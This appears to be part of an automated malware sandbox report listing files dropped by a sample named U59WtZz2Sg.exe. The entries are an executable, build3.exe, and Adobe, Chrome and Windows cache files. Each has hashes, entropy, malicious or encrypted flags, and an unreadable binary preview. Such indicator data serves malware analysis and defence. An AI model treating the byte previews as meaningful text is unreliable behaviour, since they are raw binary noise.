Preview:	MZ.......'.?.@......Q.q_.BWF5P.c3\|o....0f.A`....PzK....._).V.....\|..;Y..z....b<....K..q...}..i8P..7E..S......bv.W..\..3(%b..Cs..{;....o...w.R`.::..7Bh.Kg.;].,... .G .[..<-......'.....PZ......".3e..g....ue...^...G....?.).gA&(.W.o..#Zd4(.GZ......3..........+.oP1F.W..(-.&y.hO..GY..h...)...J.5.P.`.w\|....1$.......nd.....:b...f.0.s.3..l.E.:). pmUt.....S.....l....t.G.a;....1sP.O3..=..&.O9..$.......#.l&&..T..s^N..d:.L.[.[.o..A.3.....MIt..q.f.\|..-(s..D.;..q..I.CV.N.1...Ty..=L..a......=...8K...?.C... 9N...s....M...R..I.../.E\|..pJ.:.0H....(.\|(%..l.......;.0....S..`c.p.:..}......H..1........c..B....j.G.1..r...d...SB..gl.{u.<.....c...r\...]c...oG.&....h7....Y.>.\x...J..e....}.?fZ...4l{...#..;.h...Q..CA..#.=..Sb..t0......6..z7..p...1..NRS.\|.<Q2.UT..f0.-:$.X.!....m.3.....+...4..MY..f.s(.6.R.Jj.Kvf.gw:."Cv...6.q.B.8.{p"[.5.^$$=.[up....RV..*.O.Fn.............\D94f.......U...fV.K..o...~....EK.:&.3k.....O.. ....0o..J.."......:'..L).{.j...v...whOo

C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	10062
Entropy (8bit):	7.984005486813951
Encrypted:	false
SSDEEP:	192:V9m073yH7khKup9kt2c7qLmPsCU5hHxmJykUEii26iLH5/:V407ClMFzh5BIJyR1j5/
MD5:	3A101335FA444CEA59A97CF434AE57D9
SHA1:	07828E3E75F853D54EF9BB67A429DE41A6BBA13B
SHA-256:	0E1326746EAEA1C2FA3990FB83F5B0974E5AC457321F3728CA5E6C8A8E98ECAB
SHA-512:	9F2EAFF8137C034D5B2F95A00EC48EB6FF24F1DFB490AA75DAFB32310648CA1603286F3478795CCAEFC729CC84B840568E0861C94B42B6CA75AAA020B9FE9E11
Malicious:	true
Preview:	MZ...OA........-...g.O.q..9$.@4f...E"..0..AH....v..s.......P`w1.x'.Q....p.}u(=N.y.)4..tj=..\..3khaA..S.+..c....d.......2?1...@_8.1......'.....Di.....8...O.....%# /...73.q...:..p:.R3...\.'.P.,'.x.qy.8U.l..Yc..&....\|...."p.M....6?B.#9.ES1...0...O.?...$.%m..kn.p.,...nZF.-3..t.kkd..,e\...\...v.E...}i..c:...i...C.(....pxY.a.m.."..\|..2Bo../)M).y.J./.Ax...$..a.T]}...0q.IXr.n..Ag..'.X......[.?...T.G..H.m{M]{...e7("gD..D....%....M.."wM.$.TD.-S.HV}..y+_4s.....;...z...z.hb[.fG.vH...d.}....A.p.u<.D.C.#L..=6.K.m.?%X$.?.!&p`@..M..R1.S5..~.$.L{NFj.~~).<6g....[.Z..~..R..>._.0`A.Hx....<....4g..H......u8...3F.<...F.....3..>.....I....H..k.`.f-.......(.U..:..!.....dg.=-!.....j..F...%z..%...C.P..BV....eF.T.]!.q\|.>(..._;v.G.m.x..-../9.{.W2..w.a...sG..e..$"..jb..h.l.......(.<..Nr......'0ipfda.....f..zk..\|.L.k.....a.T........5..th.......$q@..:.../..O.9..}...\.+......cX..8Y.E...G$.Q........&\|. Ta}..e...?.....Y.O.-.I....~...\[..dXL/........s.....{...}.{..*.......

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1369
Entropy (8bit):	7.863573339496023
Encrypted:	false
SSDEEP:	24:VLbeYA4DODXARa+TnM/6MJjMeChPB+SXA+ixLHdhUDj857n2+9TSibD:VuJ4DODXARa+Tno6cjMe2cSXFixYe7nn
MD5:	E837F9AF72A9F997C231D71514E4B137
SHA1:	E6B40E013D7A115BDCDB653C7A7D4C5519A1B3A5
SHA-256:	82FFF461C64E101A2D749968BBF95E2F2072C697DADF1F57FF429208A31A57DE
SHA-512:	4E22F42CA238D5CD0E77E741F6F7BBEB33EA0FBB79A4A26EF2ECC26D7B08C9C436C34EF47559139AD8AA038942F82FDADD87D4A6F4CD478B2ABBA8AF192A717A
Malicious:	false
Preview:	%!Ado...S.]mD.h5...Qwc.zB.[.........;.6.!..nf4..(5..s."....v...W..<..xU...XQ.(......J..b.X.Rg?..".....(...."h..I..h.....F.....L....<\ T...Pea.........,f_.....2v(/.Ob_ .N....I.n...$.f.....N....\|..}...(.(..g...=.]......Y.....&...y...8...U..........D9.R23...c.ljY4.SV..>.....vV.I...d...g04....v.....^.o...ud.... ...a.Yg.Gv<..........3.s..3 ..THY.~.f.O6.&.}L.l..M.....{...O..p...q.b.M.....=.v...G..N.vY.z...$.:p.[.smgl....Z.1k....:@.=.R..r.../.BBZHt.g+.'86!.cKN.)..\|.."w..QUr..4r.l...Wb-<.;.d3.j.2....8n..@.=......1...mBYf...r0{.Yh.x...V.-.w!..ig....P....3.L....t..En......I.Fr.....n.0..<c..B...r....'.....ri.h.....5......~.....NX.:...C...q.D.M.\..6...^.~..^....s.=....#...}u..<..7....G+>...I...\|.O....a"p.........Z.....6.Wp.*.{\|.\|u.\.....)am..Q.iFNk.-.W7..:........hZ.c[......R.N.q....T..2f.J%49...c.9.....K..e.m...m......n#...{S.b...M.<..t...).3!..r&B.vS.r...W.?.@....O..]<:N..8.G;....5.m.4...#.R...2.W...D.6.j.7.....W..3)v....A..x.Q...-l_K..7DF\

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	80722
Entropy (8bit):	7.9980796222227974
Encrypted:	true
SSDEEP:	1536:clFKoAPYZVLFonlb5TwBeLTjBy4TxNvJic7dx8WJ4tTjJTyWlyEY:2APYXBzGjB70Q8dJyWcL
MD5:	CBD4463D49BD83DC35F969FEB02B6D97
SHA1:	2BF9EA7EBFA774F63CA54E9CDF1D003878ECBD32
SHA-256:	2B7095CA74E695B564A04875FC74CD590B078AFB89E7806C2F9700976E458364
SHA-512:	80A89F75374FAD67846ECDFE12FFCC86969F8310D9337B063399CD2356DBF430A543D20F3CE0987333D0B082B30DDE416597969A0D7DA4F34AC83F0AD1DA0BD2
Malicious:	true
Preview:	%!AdoT..N..j.,..\|..(..X.1...r3y.(.&..kWZ.!.....x......?..J......4u4;......F......-'...K.#..FyP.....1....:."..!....\|f}s....{.O..8......K..H..?5.5].9)5l.Lpt`....;0..r.f.]WT.......T~.&.K4[x....?'..Uo>...K..\R.....}...Y.0u9...P...1b.p.U.....o.P.^..lJ..~.9..y..Ar.e....Z....~$Q..IU...`%..?......5.....V..]...92...~M....Nx..%.9T.s....:..;'PD_i...{.u!..ty..P...H=.O........S..'c.?.....K.~.).......#..&..N9I3.P...i]?...G........]D.g....4y@...J.:..W.h._..@Q..s....<..m.IK3Q.._O....S5....0.l..Kn+.P.7.-.......O. u.;.....vY..X............t..._Q..5d....dg..9.........`...4.o....R._.:B....Mz.....g\|n.X3...X...w..N7A..30.D..P]..{$.t../.....-....-I..t.x.y.N%1.....q.b....R.3.._.p...2.>..3.._..?z....O..h..K/..L5..uA...r...1Q........I.D..gQ.....1........dt,]2..w...,Y...b-.....aW".>G..L.w.:..w..~..]./hr...G..+......z"z1t...2...?../..>x.-.:.(..C.oB.....tlg....Q....\|....c3.w.Sn.....Br..9.fZ..l...<0../...z(.gs..i....*.I.G.`.v....X##+.....}.OU..,...nhl..Lh:.UD0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt19.lst

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	9900
Entropy (8bit):	7.980477452728381
Encrypted:	false
SSDEEP:	192:N9+FBYRX1RWbj0MeX0rS27G1MhYWiUTI86hN1JEcAw3iwUq:OFBG1RWP0UrSDETI86JJHAO7
MD5:	4A5008A86C7059C5C09F19E3AD79BC40
SHA1:	700AF17DEF96C5E47D92EDD42417F497AC9CBEBB
SHA-256:	7112EEDE83D22D3660EB744B64BC4A591EB7AD6D9F57BE6C2EE9B02879AC8BA9
SHA-512:	F97E14F616B4ED5FFCC29674F6A1D0F89DFDACBB0EB3C237E1C842BC1FF12FB065B7F115673D715F6696D5135237D7EE674F142D47B64DF501DA9E252EC0C8BF
Malicious:	false
Preview:	%!Ado.&v.}........{........J?..8......o.......+......KS4...r..w..pES4)....P..}b%,.?.V..F.$}.s.A..H..=Y....W..yR..T....O..1).....]xe....._Y...g....V..$....6...aE...X...u6..>.FF...!."....\.............X5}.z...i..&....~.g.FS.>B"...........{J.@."...Q.T.u...\|..d1..B.g.4.jR %.x4..W.3.\|'..."1..........\|.\...y..f.`..Z....C.o...r...oz..Z....(SNjgNMJ?...-J...q...8.%;O...M.6..S@.6..s.8.;..v....q...}..o...$....~.n......A......Z.z... ........)..RA..\|....n.vO..l..C,1........b.;..m..$,...@x!...l.\|....X+~eX`..,.G.........%.9.s.A..>8...f..3....7>..3&.1.....L.<a.7..X._W.X.............s...B?O.qc..B._.\.z..@.....m.SU..yCV.9k.....l3.T..*.xU...W.u.v.%.A..@.A..M.T...'....V...b....l.....57R........m=.A+..$.....i.mF. ..<B)0.\a"S.....t.....\|..].)..M#D.......].EX....g...CD...%..7SJ.4.2o..)..WN...=.Bi..Y&.-.~%.N)..p.8.0?]..}...5.V..)X.....8.3AG&9..:...`..a.@...XTg.1.y......^....ziC.p.@nH.E....9:$D...$t...1a...J..A....Z.G../[...{k.?.d.\.R..mL.......[.....".4.Z...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	252320
Entropy (8bit):	6.587558359470704
Encrypted:	false
SSDEEP:	3072:r+RmHTgdVjU9UC0Cl9t2k+ngUQUZ/WisHYr7Ah1bT562+WomP4+1:tUdZU93lYvdZuXGkhtT
MD5:	CA8E6F01DFA975EFD791171053E6B9CD
SHA1:	3BD444FD681566D1C24CC9F56930923E0228AF91
SHA-256:	27A55FD7ECB208CC4E6D5D84D2A66CECB88733B6E80C34D3275E1FF6FE1E56C4
SHA-512:	59A69068EF151D779FFBF8AD2D45661C54317A5C10479AA9BC82C046CFBE60CD2B75B5278A7BE01F45031FE6B6C7F068472C083BF08C249E67E814F2146CF7A6
Malicious:	false
Preview:	Adobe...-...T..A.qO.+Js.7..f..h!.J.LJ.u.T...r.5M.g..w,.G..E.P\.X..C{..G.w.`...t..^p.{x./W[...ff...)....g.....#...r.,9/.<._....:..R..5..p..........&^1......%.. .Lr....U..e#.{.....kI..j..9..+.......6.C.C....^........6....yce.X.?...?j..../.BH.f."....u..NL.AX1.C..]..3..].3...".C..{d...C<g..C.uO.B.:......A...`.!.........O....~.l..).x\a~<v\.gd.W).>x....H}....i.$%.}....~.7.....!dM\|.A..5...:...^.F..'.'....<...C].KY..4.N\|[.O._..".G.s.\|.o)..z.qM.g.{.....Z.=.T:`..d......Yf[....QM\|..5V...U...DY.5Y.G.;-{..u0U!.L.Z.$..8!.M..6Y_.m....am.is.E^h...L.....I.q.w....1Ue1....H..q2xM...C...0q....0j..o(Q.........'.x.m..m.......Q.\...C...Ij..g{t..-A....ph..#......M.....*.,$...".[..&.46q.[........x...\..s...g....<.p..^..6.\.jN...2.....8...I....M.%u.c.9i...,..`$F.....&{.7...X..J....rTl.(.v..8e;m.Ya..WP.....,.y.23}.]..5.d^?..0...}.bm....r?1Q"...l.....4....9.2.......m.......@...Q.q......3p.s...l.r.....[....X.&%....@....I..:.~b{.=c.K8..`v. x..{.....?...3D.S...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	32987
Entropy (8bit):	7.995165560800251
Encrypted:	true
SSDEEP:	768:l25ATIw57s956c9CRUeS3w+dzM+HfGfXaCFo+SB6xRbehYIq4/:l25nw57s956c8RUBzzM+/QXaCFo+91/E
MD5:	1C141C9FC705D03D9AD7B1ABC47332EB
SHA1:	8AD396FA56EFAA83B088FA8859B65CACB143C7DC
SHA-256:	887922E064A1A14AC29F1547AD8E6505BB40D45620FA6B7A7EAFAB85505DEA27
SHA-512:	2FAECAF5A172EE72C6F58E18C0FF73FA85E80686B25865F0588C34AEF3B628A1B892E72FE86B46CE7C87E1747BF1522053AB11A9CEC3E19FED17D0E80E4D1B29
Malicious:	true
Preview:	4.191si..L..z...~....Q{.."f..,...):..&...-J.K.W.......b....s..(>l...#~..G.......>.t;v.)...c}!J"(..{E+B...D.8..n.{.39..@C. ...F9..9..=...X....."...q3.7... C5..~..... u7....^..'W.._...._..>Q...)r....r.....a..r...2.qh ....h.........Q.bT....I.."..p..{H..}q.%.g.q9.[Ymd.5.Y.\|v.P.U.?.>I....'......`.K+?-.P.. .b}N..2....o...._.}. .7;h"0(...7}v7.E..r... .M..M"....4;.....Ij.\|.....[Gh..N..n..c.....G..S.d.dK.......EK.Z.;..^E.o..&.. E.s._P6p`...o..f?:}.....U..:n..40.$q.o[).@,.....s..;.~v..g...R...&.x.T.E$...8.-T......kH.z^.....Mb...:.Lq..K=.Ad...qQ.......vrS...p.3Z......}TS..yc...L@.b.....W.n..n.*........}........I...C>H.l..Ew#..jV..,...^a\L.n.gX.a.tw\..:.P.QY`...._....jV.0.%@........O...MT5.<.../.R.5..jQ.\|.?.Z....f.Fr. .)-....xL...vi....F..1.E.d.c.h..Ky......+ .=..[.u...n6(...u..9..d.....)...`.s......?10...-..Wo%...$........O.x..........j......e.CYy...........25....f......@b...L....,Z.X..3.y..w....Z.Ge.2<.v..$i)3...O#&......6.\|....qR\...w{.....

C:\Users\user\AppData\Local\Adobe\Color\ACECache11.lst

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.7630039517608225
Encrypted:	false
SSDEEP:	24:UTJRiKsDQvm43faBHl5mqt8S3CRW8qia5hRVyKLbD:UpsDQx3faBH33FD
MD5:	7A2A13EBF6E38A9D3777C4B8BDBD9C09
SHA1:	5BAB8BD2AF64DB9B222999EFDF701622EA8AD705
SHA-256:	B1AC86C34F254AFD6F0D8CE83F929680E99D54C33BB26F2EB08877A985A6D93B
SHA-512:	BC51B7A336319C02D6A0C321C91DFC51C8D1E8207A7F8D88959CE43611B0E74C515B32495F7C9DDA20FEAE87FFB146FF35D9DE818041AC4EF632BC0F0AC014F0
Malicious:	false
Preview:	CPSA......$.......6...Ua1..$u...-......^.;..... .Q..Xy..7...(.(..P;..!...2c=.._...;..bI..'".v.P.?..i.}...7.p..k.iCbk2.....H..y....MU..H.YI.B.).aR..,...&L...`K.p5.I],qI.4. .i)^k.'.+..uch.f.%......vPd..j4.A.....K._?F6.5.R..NP.....,{x....pw`pe......._...'...x...C.....N(..IW.=...JsO.N..b..O..s\m..K.D.!i..4..B/y.%.t.j......r..~.t..g........;.....k.e...C\|-JF......'..<...%.....i:^P8.f...5.yO..-..S...f....Tp.IvV}.A7.b..k3....S_......E=.O..<_.\d.g........M,.e.o._.-....JI.7......Qd)f....W.z..(...o....'....8.y.).S ..&P...x..........o.4`..n}.gu......f..#...:Q.VM.j0..d2.l.EOp0\|1.....X.i[.B..SP.. ..(e.A...;..T...N..}..c...W.tAm.`.a.-Co\|~.9...,^t........p...'......eA?i.RC...@.......z...v...dF.....?.D...D..)1....N.\|..D.t.-"...$f,1..%u.p.\|.N..P.j<.Nib..4..G.{..56.{..pW4Og...Y..W.g.m....W..AZ.s"Xo....U8L...L......3...\.."K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98112083835023
Encrypted:	false
SSDEEP:	192:ycwhlZ94azNbRvjufiSXC5K6OVLdGjasC5sdM8GPB7pASvt:yc2ZmaDSZXddGyuYPB7R
MD5:	D9E8248DCCEC145A2180F79C7440D756
SHA1:	29916A837D707F6944A292D71F256D16693305EB
SHA-256:	CF0B9EE72CC7CDBC877BCD4D13052D0E610A5D6AE9911FEF23614CAEA5EFD1D1
SHA-512:	4981E6966AD07489868C438A257EF6443A4D5863D7AD2447EA50FF90DEE234B7ADC04C12ED6305CF981AFF197AFEC74291F92C36FF2F964DAC0D1279B75F6E9D
Malicious:	false
Preview:	.......Fh.f_\|^.........3.T.+.......m............^.O.>.M?.QC....1.8.lS.2.}.aU{c%!]d..`....s6....R.5..@.B.3.(sP'hHH..s.:.J..J.-U.\.....1.....ej....8.x...fc....41...P...M[0.....#.Rx..y....f\..\>.0..8......K.3...X.....Dm..s.....9k.....o..%V.V..{.bs9...r..,i:..#[......T.3......v..%@.Z..,^.."...i..&0.A.x+.`...oK...4..mZ!....N..Ny..V9B..u...7.@.".&\.7SUh&...W.`x6.c...M.O~I........h99..(....X.h.d#..%..d....6.jD%...C{.....=j$...J._..m...)...D:..K.^..6......Nz%...Q...c..m..>e{( 6.....I.2..G...t......Zq..dv@..^..#.....z;.\tN....G8o.3<.mE.T.2.A.w.)..`.W..z8...d..+%.......L..X>...+.....<x...2!..9...m7.........d=c@..1~U.i...l..<.B....O......w..a..Rk<...........Y.h.$v,...s...@x.n.......%y9..{.....Y3...b.......gn...5.v!R.do.f8.>".d.Q......p..j_....0.....t.Dg..m.....;.E.^...`Q..Z....@.\.d.....q.F?. HvO..Y.'..@..<.. .t.,9.V....-xM5.k. ....v.....................h8z.....*M0.n......:....+.........Q,.8`$8F.g.-z!..c.Mg....d....d.2.`..+ ....,..@. <..@..~. ..,.

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705843286483366
Encrypted:	false
SSDEEP:	3072:80ud0YPeiQj5+1wl/OJPjnEVhWsyiH1DLaFahA0AnvzKDSNpnjlcig:u0KQj5+6APjEuspGAhjAnZFjSV
MD5:	47FD992FBCF903331FC866FDC10427E9
SHA1:	152108012A2D415773EABAAC5290EDD69B932BE3
SHA-256:	EAC957E5C09CFA9230F958C731FBC47BD4BCC9EAB3C1F0185A3A53FC65D7E335
SHA-512:	EA5F8103A2977DFB22B376942B2FAA0A78B1053E6D0957102A4EAAA0CBE14DBD1D3C4AFC9B8ECE991A2B30C4C85336149FBC194795B4142886FCAD5AFE6477F1
Malicious:	false
Preview:	.......t..gGBIC..#...o...g.8{...,..O..`........ t..C.....=.}7..P`....Z.G..E...=Ps.i.;........a.o..N...(.B_]!J...O....Byef.+S\|g........t.k..f...Ze.......KG.....G.......a.:.Y~..j4T....)...T.K.P...0....M_...j.?...\|....k..e.UE8..v.23../8.K....O..P..+..].%.......0(/..w..=w.e...3......%..Y..6J....b+UC.,."...._?>...n.nc&J`.Ju.^.q...4..r....].>........z{..=[..#L.....\|.n...$oJe....T..7iO..We..NU;8.J.Z.i2y$]...z....Pt.N....^...oy........g...P...."...]..^u.#`{I..k..'+GF.C..E$.0.n..W+....XX+.#.;.........n.......h.b.x..1/..D.qq...xPd....j-!..u.$r.YV........fXz.}..q....Z:.....{r}.....8o..f....yT Wa.u.i...._\|.....;.H..EEY..[.U....T~]..N.d~=..%.mMp.;.e.j.I3I.A...u.f.e...v.%.y"Nm.F.G(I....&.N........K....R?Y<..70.p....A...X.z.x..b%.U..\.QL)O.'..n..k...........x....!}...V4...]....^.n.:,.......y.....7..jI..c....c....M.qq,.Q..G!...[1Tc.?./....r9.;m...-/.:0D,...F'..h..9...9......R....l............A.....?....uDw.T.....[..L....F....E...@-...^

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705734697462741
Encrypted:	false
SSDEEP:	6144:G5GZp4pR9jRkYhiQG3lPcsw0oRweN39aww:eGT49jRkYgXOsk2u39av
MD5:	BCA3E15713F3FEDF8CF75B5795662AFF
SHA1:	D2396F399D600CAAD14F1F28BCB79F661E99A891
SHA-256:	4E066D20B625C274ADC9E6FBD42B65E57B8698D031C1996FC135E5A15ACE14E1
SHA-512:	11D97AE7D65FE8960525442CEA47A8E666A504914969FDDFC8E158111BD3EFD58F15DBA80FE16E6AA4700793D20166B38F87053DB643FC4290389CA32218B444
Malicious:	false
Preview:	........z.k.j.......<.r..p..NY...D..}-.2........y.Z...k...l.p.U....?t.....0.e..#....]T2X.d.)h....._$5...x....S.CCuPk...V...........B@.n..P.o....(.w..G.q......N2.m_R...............8.h..F!...d..2......y..0../.=B@.0.SI...8a...Y.B....i^Cj.b....n.....I....O..8.~.$.a....2J@F.....-n2.~.1....MH..H.5..@t..NM...61iI.A......_.)tX.....0e8<..g.c...N..w...NL.....$.r......6..Q...].N,=.......Z.&....qr...........nD.2..R../Qt...i,...\..{..'.)...X.......Y.\|.......j-f......p5Q..;......^./..C.y.>9....+WJe.W....[A..\|tz5..ZS4.n..h...E.R../.4&8w.^.6..E3...$......h.p....v3Z...PS.Z.J..6o..M].F$\....~"I....y.v.....m.....v.s...p.<....^."...[:.../...hUbo...G.}..%x....^.%.kn....Vd#....T.....n...M.d.q2.N..=_...#(.^..I=.i..).IWttPa......E..pL.....C!.....sb..d.aLP.(... .......n.W....!....r5P+....qXt-B. 5d.e..%;w...D`Be.%V:.k.I*.e.0.`..1H..c.M.(.&9.d....3Zc....x..i$..v@e...}.L...l.g3.>.Z.8.r.8R].}.%.../.../Tn....2...t.5Y...h.b.....~7/L(.m.....8f.[.4.^..z]-....'..

C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705361118460252
Encrypted:	false
SSDEEP:	3072:O4wC+rpz8dVo7lHShnZHWu92H3VEsEUK8wKGx:O4wC+rpAnqgGH3O7UlI
MD5:	C8901987DDA10AFF5F57E2B80E61BEFA
SHA1:	AF31791EF53C0F30CA0BC5B54A4FD6DA599AEA4F
SHA-256:	6740F5CACC786F9C3BAD979E3CAD476819BA119E7B3A2619D2CB56976B8EDBE0
SHA-512:	B782AD75ACB908800C3D27579CDD958FF89CEE970E6E2F5ECADBC1A9605BC9F32FA93132839A3ABD0102B2AEA5874759C08C12F3E405BDCD4E7E1400D4653449
Malicious:	false
Preview:	.......{...XA..>F\|a.!n.\|..'_a,.L....<.....2..f...<....Xp]..8.J.........a..;._..Jbj.L...\...w6+....C..$[y.qb4.....N..\Hi....q....7.vwk.T...)..HQ..p`N.........sjh.,5.B...-#...&Rh.+...;.]s7Q....Y..c.f....%.$...6..b,..B:..2...)..*....)t.D..^.f......u../._6...g.'...H^~....>....l.h.@p..Jx.=.k.%...~2...zr.1..^yDY.....!/.G..,\d.R.&H........L,...C.....>h....wK..q\$.DTc.....R....`)..w........K5QS...6=.BY..#.N@V..4.........@.....@i.....VU.....R;......+".'.I.e).v=....F...t./...R.r.y..e3........[V.j..,.c.k.e.;e...]jD+u.....?.9.Pe....E...I.T-.M.e.:..[.4..>.../.8..'..E...8w......$.f....Y..Y..i.../.c..x.w.}%./...$..7..{.....dr....lQ;y...(..U...k+.QMgB.x.~t.9Rsg.3.M..?......v.+!.w...Z...k......D..=yM4.....w.@.../.y..C...lE.$....g.D.%Ml\/NL6...I+.K.j.....7...{j+d....C..`....@.n...[.G+.T..+..l..$......(F.R3.m.y.d.3-l...)...\|...Vm?(...../4Y<{..H!..+.wr...U%D ?.>....3..g9.]Q..:..:........l.....7...x@.6...h ....]..xp.M.P..q.D-...?.".P..D2.dCV.R.;

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	2323
Entropy (8bit):	7.910646689508133
Encrypted:	false
SSDEEP:	24:oqnGB0wL2yPGIIp0FiJCIhxN1DoiTsueME43ApH4pn+kXeig6aTnny8z4i03I35C:9k0WeYasYp+QxgdD4i0wicqqheBZD
MD5:	67F53C37E670F036AC5117516F249441
SHA1:	70830E9B3F1E17219BFA77CC451BF4A3632A0EE1
SHA-256:	1F6CF0BBEC0EC622854A2D77715C06EB6F9FE0B99695013BF5CA27BAA9976AB1
SHA-512:	A264816D46BBEBDAFDF494DAEBE4582BFCB0AD1C0E9E07639D6ED5389F499537DC0FEE2D4338FF945E96CD8AA528E7AF3A97EF640C7CF052F5F69CBD17738F8B
Malicious:	false
Preview:	.{.>.......-'.Z.<I..[.............m..)+...0C.~4..+......s...%...q.7.....i..H.d.....PN=X'.C....G..E6..2.+.!.....}j.n...2.pa.H..i.....\|....+.....-d.........7..".w.s..T.lh...Ai...u...x.......UA.;.....yV>m.....:.{.x8.B7.-..@.+'.&.......K......'..7...~&.w........0=.#....2G".....>.D<.1...{wDg...R...U..tv...aV]......m........-2...@.J..-.c......D=.p...m...-..U.W.s.i.,Y...w....G..'..>.Y4..Ys...K...R6..?^..[..}.rq[-........;..1..G...m...EY.u+....0......&...}N..........(].B.W.[..F.C.Rg.Dv<F..Q[QK.K?./.:.@.(m.S x...z..m...q..q....)Pf/.j.{.d.}..C.;.].>.......:J.>...D"X..Ma..M...5w3.kqwk..{.Q^A..{.JA'...#.-.8...x....e.%..E.?.v.......g.....0...a.5V.p...?{.h......k....7.'a......M.Bz. .......j.C7I.?..Kh..e&..k.y...x.-.c.,3Luq........V..j..U^.K.x$.Ppx.u.{.....<.y..lC~~..8..p.H...N..e.n.CT0..@..b...e....8.......4....`K"*d~...........E.....n..:D.`..u..k.3I.....Js#."...........y..d.S..O...Ju.&rW...Nv.H4...N...R.8.[....9e$M....+..M.K..\|.RK....

C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-62FC182D-10C8.pma

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.7531249128936979
Encrypted:	false
SSDEEP:	6144:mhN0OwZqvexC9fpDakU02dCMCFgEvvNjKcHfl+rvCTaHt4A:mz5wZQQmpDTU3g1lHFHoDfX
MD5:	309876A3D1246F8BC255552106DB5C5E
SHA1:	83D0272A90C0D2E26A5936CEA4E75842252F4556
SHA-256:	B0550AD95FDC88D638823A2AF1E3CCA70BD9DF14091431155E718A3535CBFE51
SHA-512:	29478349D7F8F3851DE16310C897CD5CF254C6A923E2726838A491E9E73D3DDC6A530B19456D1633DA9A30E32201858355755DC9FA58424AA18155A13116F25A
Malicious:	false
Preview:	...@.Q..W....7J...JrQ.....g....}.f...u..n\|.9.....+..^?...b.b...'....!,....H7..H....ZQ......]].......S.1.......:.q......=A...L...Q....-...X$.y.Lp...tBaX.D.....9b>.-s.x.^i.A\.Y&^JY..j.e^/.Z...w...X.MyT.h....-...\....(+.<.;ZX.`Z.\|....%....J.:I..-.k.W`..dS%6..i..p..Z.h.v'}.Z.r'.\|l.....oi.r....`yo`.....Q...l`S...U99....~.v...>?.$.2.d.....PJE...j..Dnf72zL.2P.N...?4..0....(x.k.W9:.....\|B..".+..-.. ...C..Z.....(...#._...7.xa...c.u .y.P4..b.yS.......D..+....j~D..O.b.+..,.b^./..$.....1=...H.E....h.}..dOh:.....U(..@'..X...,.#V.`..^\|.\|.......B.G_.1v.Sd.hWQK..M8q.'..H........L.j..M.Il...CO.,..{..^.;_.$.......ozh...\|`.u+.Y.@...R.@M.tq...$.......C..p......{5....~N.3..!....S......sscfL...@..'....b.P}0.A.A..`....-..'h`...\|].p.k.......*8....T.J/...Zaub^..3xp..\|......5.......\.Y........@.X....0w.z.....r.x6..7..3.x@.;.N.......\|.n..1.A..".E....D..G.\|./........Z..A>r..2...J.U.L{....c...!..7SV+(...........w.....................1. ..VvT.0.S?..Z..J.'.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7685960927841093
Encrypted:	false
SSDEEP:	6144:58jsVU401ZHF4hFgIoDBUV25fT8VZO/Jkre:ejsV8zl4hFg1a2BcO/Jkre
MD5:	6CFF0E55062F4F7638762AB89A00F830
SHA1:	020262E42EFF5BF456BE03756A5EE6BF759CB451
SHA-256:	F932D64DE7BFA805C6D9B7EF3A01BC6293AA2ED2D49503DBD25BE641074443F1
SHA-512:	CB576CFE9E0FDDF87665321C9993445C9B271F9108F9869B9A21BE643976A6AC4AD8ABCEA64064E41C8432EFBB2225141009254963F0CA2EB2157D20077AB311
Malicious:	false
